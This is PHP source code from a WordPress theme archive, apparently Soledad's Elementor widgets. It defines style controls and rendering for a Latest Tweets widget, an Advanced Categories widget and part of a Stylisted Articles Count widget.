			'condition' => [ 'tweets_style' => 'slider' ],
			'options'   => array(
				'pc_aligncenter' => esc_html__( 'Align Center', 'soledad' ),
				'pc_alignleft'   => esc_html__( 'Align Left', 'soledad' ),
				'pc_alignright'  => esc_html__( 'Align Right', 'soledad' ),
			)
		) );

		$this->add_control( 'tweets_hide_date', array(
			'label'     => __( 'Hide tweets date?', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
			'default'   => '',
		) );
		$this->add_control( 'tweets_dis_auto', array(
			'label'     => __( 'Disable Auto Play Tweets Slider?', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
			'condition' => [ 'tweets_style' => 'slider' ],
			'default'   => '',
		) );
		$this->add_control( 'tweets_reply', array(
			'label'       => __( 'Custom Reply text', 'soledad' ),
			'default'     => esc_html__( 'Reply', 'soledad' ),
			'condition'   => [ 'tweets_style' => 'slider' ],
			'label_block' => true,
		) );
		$this->add_control( 'tweets_retweet', array(
			'label'       => __( 'Custom Retweet text', 'soledad' ),
			'default'     => esc_html__( 'Retweet', 'soledad' ),
			'condition'   => [ 'tweets_style' => 'slider' ],
			'label_block' => true,
		) );
		$this->add_control( 'tweets_favorite', array(
			'label'       => __( 'Custom Favorite text', 'soledad' ),
			'default'     => esc_html__( 'Favorite', 'soledad' ),
			'condition'   => [ 'tweets_style' => 'slider' ],
			'label_block' => true,
		) );

		$this->end_controls_section();
		$this->register_block_title_section_controls();

		$this->start_controls_section( 'section_latest_tweets_spacing', array(
			'label' => __( 'Elements Spacing', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );
		$this->add_control( 'tweets_icon_spacing', array(
			'label'     => __( 'Tweet Icon Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'condition' => [ 'tweets_style' => 'slider' ],
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 500, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-tweets-widget-content .icon-tweets' => 'margin-bottom: {{SIZE}}px;' )
		) );
		$this->add_control( 'tweets_date_spacing', array(
			'label'     => __( 'Tweet Date Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 500, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-tweets-widget-content .tweet-date' => 'margin-bottom: {{SIZE}}px;' )
		) );
		$this->add_control( 'tweets_title_spacing', array(
			'label'     => __( 'Tweet Title Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 500, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-tweets-widget-content .tweet-text' => 'margin-bottom: {{SIZE}}px;' )
		) );
		$this->add_control( 'tweets_iconp_spacing', array(
			'label'     => __( 'Reply / Retweet/ Favorite Links & Icons', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 500, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-tweets-widget-content .tweet-intents' => 'margin-top: {{SIZE}}px!important;' )
		) );
		$this->add_control( 'tweets_nav_spacing', array(
			'label'     => __( 'Tweet Dots Spacing', 'soledad' ),
			'condition' => [ 'tweets_style' => 'slider' ],
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 500, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel.penci-tweets-slider .penci-owl-dots' => 'margin-top: {{SIZE}}px!important;' )
		) );
		$this->add_control( 'tweets_items_spacing', array(
			'label'     => __( 'Spacing Between Tweets Items', 'soledad' ),
			'condition' => [ 'tweets_style!' => 'slider' ],
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 500, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-tweets-lists .penci-tweet:not(:last-child)' => 'margin-bottom: calc({{SIZE}}px / 2);padding-bottom:calc({{SIZE}}px / 2)' )
		) );
		$this->end_controls_section();

		$this->start_controls_section( 'section_latest_tweets_style', array(
			'label' => __( 'Latest Tweets', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );
		$this->add_control( 'tweets_bd_color', array(
			'label'     => __( 'General Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-tweets-lists .penci-tweet:not(:last-child)' => 'border-color: {{VALUE}};' )
		) );
		$this->add_control( 'tweets_text_headings', array(
			'label' => __( 'Text', 'soledad' ),
			'type'  => Controls_Manager::HEADING,
		) );
		$this->add_control( 'tweets_text_color', array(
			'label'     => __( 'Text color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .tweet-text' => 'color: {{VALUE}};' )
		) );
		$this->add_control( 'tweets_text_lcolor', array(
			'label'     => __( 'Text Links color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .tweet-text a' => 'color: {{VALUE}};' )
		) );
		$this->add_control( 'tweets_text_lhcolor', array(
			'label'     => __( 'Text Links Hover color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .tweet-text a:hover' => 'color: {{VALUE}};' )
		) );
		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'tweets_text_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .tweet-text',
		) );
		$this->add_control( 'tweets_date_headings', array(
			'label'     => __( 'Date', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );
		$this->add_control( 'tweets_date_color', array(
			'label'     => __( 'Date color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .tweet-date' => 'color: {{VALUE}};' )
		) );
		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'tweets_date_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .tweet-date',
		) );
		$this->add_control( 'tweets_link_headings', array(
			'label'     => __( 'Reply / Retweet/ Favorite Links & Icons', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );
		$this->add_control( 'tweets_link_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-tweets-widget-content .tweet-intents-inner:after'                                                                                                                                                         => 'background-color: {{VALUE}};',
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-tweets-widget-content .tweet-intents-inner:before'                                                                                                                                                        => 'background-color: {{VALUE}};',
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-tweets-widget-content .icon-tweets, {{WRAPPER}} .penci-tweets-widget-content .tweet-intents span:after, {{WRAPPER}} .penci-tweets-widget-content .tweet-intents a' => 'color: {{VALUE}};',
			)
		) );
		$this->add_responsive_control( 'tweets_link_size', array(
			'label'     => __( 'Font size', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-tweets-widget-content .tweet-intents a' => 'font-size: {{SIZE}}px' ),
		) );
		$this->add_control( 'tweets_dots_headings', array(
			'label'     => __( 'Dots', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => [ 'tweets_style' => 'slider' ],
		) );
		$this->add_control( 'tweets_dot_color', array(
			'condition' => [ 'tweets_style' => 'slider' ],
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( 'body:not(.pcdm-enable) {{WRAPPER}} .penci-owl-carousel.penci-tweets-slider .penci-owl-dots .penci-owl-dot span' => 'border-color: {{VALUE}};background-color:{{VALUE}};' ),
		) );
		$this->add_control( 'tweets_dot_hcolor', array(
			'condition' => [ 'tweets_style' => 'slider' ],
			'label'     => __( 'Border and Background Active Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-owl-carousel.penci-tweets-slider .penci-owl-dots .penci-owl-dot:hover span,' . 'body:not(.pcdm-enable) {{WRAPPER}} .penci-owl-carousel.penci-tweets-slider .penci-owl-dots .penci-owl-dot.active span' => 'border-color: {{VALUE}};background-color:{{VALUE}};'
			),
		) );

		$this->end_controls_section();

		$this->register_block_title_style_section_controls();

	}

	protected function render() {
		$settings = $this->get_settings();
		if ( function_exists( 'penci_getTweets' ) ) {
			$tweets = penci_getTweets( 5 );
			if ( empty( $tweets ) ) {
				return;
			}

			$reply    = $settings['tweets_reply'];
			$retweet  = $settings['tweets_retweet'];
			$favorite = $settings['tweets_favorite'];

			$css_class = 'penci-latest-tweets-widget';
			$style     = isset( $settings['tweets_style'] ) && $settings['tweets_style'] ? $settings['tweets_style'] : 'slider';
			$classes   = 'slider' == $style ? 'penci-owl-carousel penci-owl-carousel-slider penci-tweets-slider swiper' : 'penci-tweets-lists';
			?>
            <div class="<?php echo esc_attr( $css_class ); ?>">
				<?php $this->markup_block_title( $settings, $this ); ?>
                <div class="penci-block_content">
					<?php
					if ( isset( $tweets['error'] ) ) {
						echo 'Missing Twitter API Keys - please connect your Twitter Account by go to admin > Soledad > Connect Twitter';
					} else {
						$rtl_align = is_rtl() ? 'pc_alignright' : 'pc_alignleft';
						$align     = $style == 'slider' ? $settings['tweets_align'] : $rtl_align;
						?>
                        <div class="penci-tweets-widget-content <?php echo esc_attr( $align ); ?>">
							<?php if ( $style == 'slider' ): ?>
                                <span class="icon-tweets"><?php penci_fawesome_icon( 'penciicon-x-twitter' ); ?></span>
							<?php endif; ?>
                            <div class="<?php echo esc_attr( $classes ); ?>" data-dots="true"
                                 data-nav="false" data-seffect="slide" data-auto="<?php if ( $settings['tweets_dis_auto'] ) {
								echo 'false';
							} else {
								echo 'true';
							} ?>">
								<?php
								$item_class = 'normal-item';
								if ( 'slider' == $style ) {
									echo '<div class="swiper-wrapper">';
									$item_class = 'swiper-slide';
								}
								foreach ( $tweets as $tweet ):
									$date_array = explode( ' ', $tweet['created_at'] );
									$tweet_id = $tweet['id_str'];
									$tweet_text = $tweet['text'];
									$urls = $tweet['entities']['urls'];

									if ( isset( $urls ) ) {
										foreach ( $urls as $ul ) {
											$url = $ul['url'];
											if ( isset( $url ) ):
												$tweet_text = str_replace( $url, '<a href="' . $url . '" target="_blank">' . $url . '</a>', $tweet_text );
											endif;
										}
									}
									?>
                                    <div class="penci-tweet <?php echo $item_class;?>">

										<?php if ( $style == 'list' ):
											$reply = '<i class="fa fa-reply" aria-hidden="true"></i>';
											$retweet = '<i class="fa fa-retweet" aria-hidden="true"></i>';
											$favorite = '<i class="fa fa-thumbs-up" aria-hidden="true"></i>';
											?>

                                            <div class="tweet-list-top">

												<?php if ( $date_array[1] && $date_array[2] && $date_array[5] && ! $settings['tweets_hide_date'] ): ?>
                                                    <span class="tweet-date"><?php echo $date_array[2] . '-' . $date_array[1] . '-' . $date_array[5]; ?></span>
												<?php endif; ?>

                                            </div>

										<?php endif; ?>

                                        <div class="tweet-text">
											<?php echo $tweet_text; ?>
                                        </div>
										<?php
										if ( $style == 'slider' && $date_array[1] && $date_array[2] && $date_array[5] && ! $settings['tweets_hide_date'] ): ?>
                                            <p class="tweet-date"><?php echo $date_array[2] . '-' . $date_array[1] . '-' . $date_array[5]; ?></p>
										<?php endif; ?>
                                        <div class="tweet-intents">
                                            <div class="tweet-intents-inner">
                                            <span><a target="_blank" class="reply"
                                                     href="https://x.com/intent/tweet?in_reply_to=<?php echo sanitize_text_field( $tweet_id ); ?>"><?php echo do_shortcode( $reply ); ?></a></span>
                                                <span><a target="_blank" class="retweet"
                                                         href="https://x.com/intent/retweet?tweet_id=<?php echo sanitize_text_field( $tweet_id ); ?>"><?php echo do_shortcode( $retweet ); ?></a></span>
                                                <span><a target="_blank" class="favorite"
                                                         href="https://x.com/intent/favorite?tweet_id=<?php echo sanitize_text_field( $tweet_id ); ?>"><?php echo do_shortcode( $favorite ); ?></a></span>
                                            </div>
                                        </div>
                                    </div>
								<?php endforeach; 
								if ( 'slider' == $style ) {
									echo '</div>';
								}
								?>

                            </div>
                        </div>

						<?php
					}
					?>
                </div>
            </div>
			<?php
		} else {
			_e( 'Please install the "Penci Social Feed" plugin via Apperance > Install Plugins to get this widget working.', 'soledad' );
		}
	}
}
PK     N\9|  |  :  inc/elementor/modules/penci-advanced-categories/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciAdvancedCategories;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-advanced-categories';
	}

	public function get_widgets() {
		return array( 'PenciAdvancedCategories' );
	}
}
PK     N\{p/  /  U  inc/elementor/modules/penci-advanced-categories/widgets/penci-advanced-categories.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciAdvancedCategories\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use PenciSoledadElementor\Base\Base_Color;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use Elementor\Group_Control_Image_Size;
use Elementor\Utils;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciAdvancedCategories extends Base_Widget {

	public function get_name() {
		return 'penci-advanced-categories';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Advanced Categories', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-document-file';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'category' );
	}

	protected function register_controls() {


		// Section layout
		$this->start_controls_section( 'section_aboutme', array(
			'label' => esc_html__( 'Taxonomy', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'style', array(
			'label'   => __( 'Style', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'style-1',
			'options' => [
				'style-1' => __('List', 'soledad' ),
				'style-2' => __('Boxed', 'soledad' ),
				'style-3' => __('Dropdown', 'soledad' ),
			],
		) );

		$post_types  = get_post_types( array( 'public' => true, 'show_in_nav_menus' => true ), 'object' );
		$tax_options = [];
		foreach ( $post_types as $post_type => $type ) {
			foreach ( get_object_taxonomies( $type->name, 'object' ) as $tax_name => $tax_info ) {
				if ( ! in_array( $tax_name, [ 'post_format', 'elementor_library_type', 'penci_block_category' ] ) ) {
					$tax_options[ $tax_name ] = $type->label . ' - ' . $tax_info->label;
				}
			}
		}

		$this->add_control( 'tax', array(
			'label'   => __( 'Taxonomy', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'options' => $tax_options,
			'default' => 'category',
		) );

		$this->add_control( 'orderby', array(
			'label'   => __( 'Order By', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'term_id',
			'options' => [
				'term_id' => __('ID', 'soledad' ),
				'name'    => __('Name', 'soledad' ),
				'slug'    => __('Slug', 'soledad' ),
				'count'   => __('Count', 'soledad' ),
			],
		) );

		$this->add_control( 'order', array(
			'label'   => __( 'Order', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'DESC',
			'options' => [
				'ASC'  => __('ASC', 'soledad' ),
				'DESC' => __('DESC', 'soledad' ),
			],
		) );

		$this->add_control( 'hide_empty', array(
			'label' => __( 'Show Empty Categories?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'hierarchical', array(
			'label' => __( 'Show in hierarchical?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'count', array(
			'label' => __( 'Show posts count?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'toggle', array(
			'label' => __( 'Show Toggle Button?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'mark_count', array(
			'label' => __( 'Highlight posts count?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'maxitems', array(
			'label'   => __( 'Limit Category to Show', 'soledad' ),
			'type'    => Controls_Manager::NUMBER,
			'default' => 10,
		) );

		$this->add_control( 'excluded', array(
			'label'       => __( 'Exclude Term IDs:', 'soledad' ),
			'description' => __( 'E.g:  1, 2, 4', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
		) );

		$this->end_controls_section();

		$this->register_block_title_section_controls();

		$this->start_controls_section( 'section_style_image', array(
			'label' => __( 'Color & Style', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'term_name_typo',
			'label'    => __( 'Term Name Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .pc-widget-advanced-tax.tax-style-1 ul li a,{{WRAPPER}} .pc-widget-advanced-tax.tax-style-2 a,{{WRAPPER}} .pc-widget-advanced-tax.tax-style-3 select',
		) );

		$this->add_control( 'term_name_color', array(
			'type'      => Controls_Manager::COLOR,
			'label'     => __( 'Color', 'soledad' ),
			'selectors' => [ '{{WRAPPER}} .pc-widget-advanced-tax.tax-style-1 ul li a,{{WRAPPER}} .pc-widget-advanced-tax.tax-style-2 a,{{WRAPPER}} .pc-widget-advanced-tax.tax-style-3 select' => 'color:{{VALUE}}' ],
		) );

		$this->add_control( 'term_name_hcolor', array(
			'type'      => Controls_Manager::COLOR,
			'label'     => __( 'Hover Color', 'soledad' ),
			'condition' => [ 'style!' => 'style-3' ],
			'selectors' => [ '{{WRAPPER}} .pc-widget-advanced-tax.tax-style-1 ul li a:hover,{{WRAPPER}} .pc-widget-advanced-tax.tax-style-2 a:hover' => 'color:{{VALUE}}' ],
		) );

		$this->add_control( 'term_name_mcolor', array(
			'type'      => Controls_Manager::COLOR,
			'label'     => __( 'Post Count Color', 'soledad' ),
			'condition' => [
				'style!' => 'style-3',
				'count'  => 'yes'
			],
			'selectors' => [ '{{WRAPPER}} .pc-widget-advanced-tax .category-item-count,{{WRAPPER}} .pc-widget-advanced-tax .tag-link-count' => 'color:{{VALUE}} !important' ],
		) );

		$this->add_control( 'term_name_mhcolor', array(
			'type'      => Controls_Manager::COLOR,
			'label'     => __( 'Post Count Hover Color', 'soledad' ),
			'condition' => [ 'style!' => 'style-3', 'count' => 'yes' ],
			'selectors' => [ '{{WRAPPER}} .pc-widget-advanced-tax a:hover .category-item-count,{{WRAPPER}} .pc-widget-advanced-tax a:hover .tag-link-count' => 'color:{{VALUE}} !important' ],
		) );

		$this->add_control( 'term_name_nbgcolor', array(
			'type'      => Controls_Manager::COLOR,
			'label'     => __( 'Post Count BackgroundColor', 'soledad' ),
			'condition' => [
				'style'      => 'style-1',
				'mark_count' => 'yes',
				'count'      => 'yes',
			],
			'selectors' => [ '{{WRAPPER}} .pc-widget-advanced-tax .category-item-count,{{WRAPPER}} .pc-widget-advanced-tax .tag-link-count' => 'background-color:{{VALUE}} !important' ],
		) );

		$this->add_control( 'term_name_nbghcolor', array(
			'type'      => Controls_Manager::COLOR,
			'label'     => __( 'Post Count Hover Background Color', 'soledad' ),
			'condition' => [
				'style'      => 'style-1',
				'mark_count' => 'yes',
				'count'      => 'yes',
			],
			'selectors' => [ '{{WRAPPER}} .pc-widget-advanced-tax a:hover .category-item-count,{{WRAPPER}} .pc-widget-advanced-tax a:hover .tag-link-count' => 'background-color:{{VALUE}} !important' ],
		) );

		$this->add_control( 'term_name_bdcolor', array(
			'type'      => Controls_Manager::COLOR,
			'label'     => __( 'Border Color', 'soledad' ),
			'selectors' => [ '{{WRAPPER}} .pc-widget-advanced-tax.tax-style-1 ul ul,{{WRAPPER}} .pc-widget-advanced-tax.tax-style-1 ul li,{{WRAPPER}} .pc-widget-advanced-tax.tax-style-2 a,{{WRAPPER}} .pc-widget-advanced-tax.tax-style-3 select' => 'border-color:{{VALUE}}' ],
		) );

		$this->add_control( 'term_name_bdhcolor', array(
			'type'      => Controls_Manager::COLOR,
			'label'     => __( 'Border Hover Color', 'soledad' ),
			'condition' => [ 'style' => 'style-2' ],
			'selectors' => [ '{{WRAPPER}} .pc-widget-advanced-tax.tax-style-2 a:hover' => 'border-color:{{VALUE}}' ],
		) );

		$this->add_control( 'term_name_bgcolor', array(
			'type'      => Controls_Manager::COLOR,
			'label'     => __( 'Background Color', 'soledad' ),
			'condition' => [ 'style!' => 'style-1' ],
			'selectors' => [ '{{WRAPPER}} .pc-widget-advanced-tax.tax-style-2 a,{{WRAPPER}} .pc-widget-advanced-tax.tax-style-3 select' => 'background-color:{{VALUE}}' ],
		) );

		$this->add_control( 'term_name_bghcolor', array(
			'type'      => Controls_Manager::COLOR,
			'label'     => __( 'Background Hover Color', 'soledad' ),
			'condition' => [ 'style' => 'style-2' ],
			'selectors' => [ '{{WRAPPER}} .pc-widget-advanced-tax.tax-style-2 a:hover' => 'background-color:{{VALUE}}' ],
		) );

		$this->add_control( 'term_name_padding', array(
			'type'       => Controls_Manager::DIMENSIONS,
			'label'      => __( 'Term Name Padding', 'soledad' ),
			'size_units' => array( 'px' ),
			'condition'  => [ 'style' => 'style-2' ],
			'selectors'  => array(
				'{{WRAPPER}} .pc-widget-advanced-tax.tax-style-2 a' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
		) );

		$this->add_responsive_control( 'term_name_spacing', array(
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 300, ) ),
			'label'     => __( 'Term Spacing', 'soledad' ),
			'condition' => [ 'style' => 'style-1' ],
			'selectors' => [
				'{{WRAPPER}} .pc-widget-advanced-tax.tax-style-1 ul li:not(:last-child)' => 'margin-bottom:calc({{SIZE}}px / 2);padding-bottom:calc({{SIZE}}px / 2)',
				'{{WRAPPER}} .pc-widget-advanced-tax.tax-style-1 ul ul'                  => 'padding-top:calc({{SIZE}}px / 2);margin-top:calc({{SIZE}}px / 2)',
			],
		) );

		$this->end_controls_section();
		$this->register_block_title_style_section_controls();

	}

	protected function render() {
		$settings = $this->get_settings();

		$tax          = $settings['tax'];
		$hide_empty   = $settings['hide_empty'];
		$order        = $settings['order'];
		$orderby      = $settings['orderby'];
		$hierarchical = $settings['hierarchical'] == 'yes';
		$count        = $settings['count'] == 'yes';
		$maxitems     = $settings['maxitems'];
		$exclude      = $settings['excluded'];
		$mark_count   = $settings['mark_count'] == 'yes';
		$rstyle       = $settings['style'];
		$style        = $settings['style'];

		$term_args = [
			'taxonomy'     => $tax,
			'hide_empty'   => ! $hide_empty,
			'order'        => $order,
			'orderby'      => $orderby,
			'hierarchical' => $hierarchical,
			'show_count'   => $count,
			'number'       => $maxitems,
			'title_li'     => '',
		];
		if ( $exclude ) {
			$term_args['exclude'] = explode( ',', $exclude );
		}
		$style = $mark_count ? $style . ' hlmark' : $style;
		add_filter( 'wp_list_categories', function ( $links ) use ( $mark_count ) {
			if ( $mark_count ) {
				$links = preg_replace( '/<\/a> \(([0-9.,]+)\)/', ' <span class="category-item-count">\\1</span></a>', $links );
			}

			return $links;

		}, 0, 1 );

		$this->markup_block_title( $settings, $this );

		?>
        <div class="widget widget_categories pcel-acat">
            <div class="pc-widget-advanced-tax tax-<?php echo $style; ?>">
				<?php if ( 'style-3' == $rstyle ):
					$name = 'category' == $tax ? 'cat' : ( 'post_tag' == $tax ? 'tag' : $tax );
					$term_args['name'] = $name;
					$term_args['value_field'] = 'category' == $tax ? 'term_id' : 'slug';
					wp_dropdown_categories( $term_args );
					?>
                    <form method="get" action="<?php echo esc_url( home_url( '/' ) ); ?>">
						<?php
						wp_dropdown_categories( $term_args );
						?>
                        <script type="text/javascript">
                            /* <![CDATA[ */
                            (function () {
                                var dropdown = document.getElementById("<?php echo esc_attr( $name );?>");

                                function onCatChange() {
                                    if (dropdown.options[dropdown.selectedIndex].value !== '') {
                                        dropdown.parentNode.submit();
                                    }
                                }

                                dropdown.onchange = onCatChange;
                            })();
                            /* ]]> */
                        </script>
                    </form>
				<?php
                elseif ( 'style-2' == $rstyle ):

					wp_tag_cloud( $term_args );
				else:
					$extra_class = $settings['toggle'] == 'yes' ? ' toggle-enable' : '';
					echo '<ul class="pc-advanced-cat '.esc_attr( $extra_class ).'">';
					wp_list_categories( $term_args );
					echo '</ul>';
				endif; ?>
            </div>
        </div>
		<?php
	}
}
PK     N\;B  B  ?  inc/elementor/modules/penci-stylisted-articles-count/module.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciStylistedArticlesCount;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-stylisted-articles-count';
	}

	public function get_widgets() {
		return array( 'PenciStylistedArticlesCount' );
	}
}
PK     N\N-ُU  U  _  inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciStylistedArticlesCount\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use PenciSoledadElementor\Base\Base_Widget;
use PenciSoledadElementor\Modules\QueryControl\Module as Query_Control;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciStylistedArticlesCount extends Base_Widget {

	public function get_name() {
		return 'penci-stylisted-articles-count';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Stylisted Articles Count', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-post-list';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'posts' );
	}

	public function get_script_depends() {
		return [ 'penci_widgets_ajax' ];
	}

	protected function register_controls() {


		// Section layout
		$this->start_controls_section(
			'section_page_layout', array(
				'label' => esc_html__( 'Layout', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control( 'columns', array(
			'label'   => __( 'Columns', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => [
				'' => 'Default with Featured Post',
				2  => '2 Columns',
				3  => '3 Columns',
				4  => '4 Columns',
				5  => '5 Columns',
			],
		) );

		$this->add_control( 'tcolumns', array(
			'label'   => __( 'Columns for Tablet', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 2,
			'options' => [
				1  => '1 Column',
				2  => '2 Columns',
				3  => '3 Columns',
			],
		) );

		$this->add_control( 'mcolumns', array(
			'label'   => __( 'Columns for Mobile', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 1,
			'options' => [
				1  => '1 Column',
				2  => '2 Columns',
			],
		) );

		$this->add_responsive_control(
			'penci_img_ratio', array(
				'label'          => __( 'Image Ratio', 'soledad' ),
				'type'           => Controls_Manager::SLIDER,
				'default'        => array( 'size' => 0.66 ),
				'tablet_default' => array( 'size' => '' ),
				'mobile_default' => array( 'size' => 0.5 ),
				'condition'      => array( 'columns' => '' ),
				'range'          => array( 'px' => array( 'min' => 0.1, 'max' => 2, 'step' => 0.01 ) ),
				'selectors'      => array(
					'{{WRAPPER}} .penci-image-holder:before' => 'padding-top: calc( {{SIZE}} * 100% );',
				),
			)
		);
		$this->add_control(
			'thumb_size', array(
				'label'     => __( 'Custom Image size', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'penci-masonry-thumb',
				'condition' => array( 'columns' => '' ),
				'options'   => $this->get_list_image_sizes( true ),
			)
		);

		$this->add_control(
			'title_length', array(
				'label'       => __( 'Custom words length for post titles', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
				'description' => __( 'If your post titles is too long - You can use this option for trim it. Fill number value here.', 'soledad' ),
			)
		);

		$this->add_control(
			'show_author', array(
				'label' => __( 'Show Author Name?', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);
		$this->add_control(
			'hide_postdate', array(
				'label' => __( 'Hide post date?', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);
		$this->add_control(
			'show_comment', array(
				'label' => __( 'Show Comment Count?', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);
		$this->add_control(
			'show_postviews', array(
				'label' => __( 'Show Post Views?', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);

		$this->add_control(
			'showborder', array(
				'label'     => __( 'Remove Border at The Bottom?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'selectors' => array(
					'{{WRAPPER}} ul li' => 'border-bottom: none !important'
				)
			)
		);

		$this->add_control(
			'rp_rows_gap', array(
				'label'              => __( 'Rows Gap', 'soledad' ),
				'type'               => Controls_Manager::SLIDER,
				'range'              => array( 'px' => array( 'min' => 0, 'max' => 200 ) ),
				'frontend_available' => true,
				'selectors'          => array(
					'{{WRAPPER}} ul li' => 'margin-bottom: calc({{SIZE}}{{UNIT}}/2); padding-bottom: calc({{SIZE}}{{UNIT}}/2)',
				),
			)
		);

		$this->add_control( 'ajaxnav', array(
			'label'   => __( 'Ajax Posts Navigation?', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => [
				''    => 'Disable',
				'nav' => 'Next/Previous Buttons',
				'btn' => 'Load More Posts Button',
			]
		) );

		$this->end_controls_section();
		$this->register_query_section_controls();
		$this->register_block_title_section_controls();
		$this->start_controls_section(
			'section_post_style',
			array(
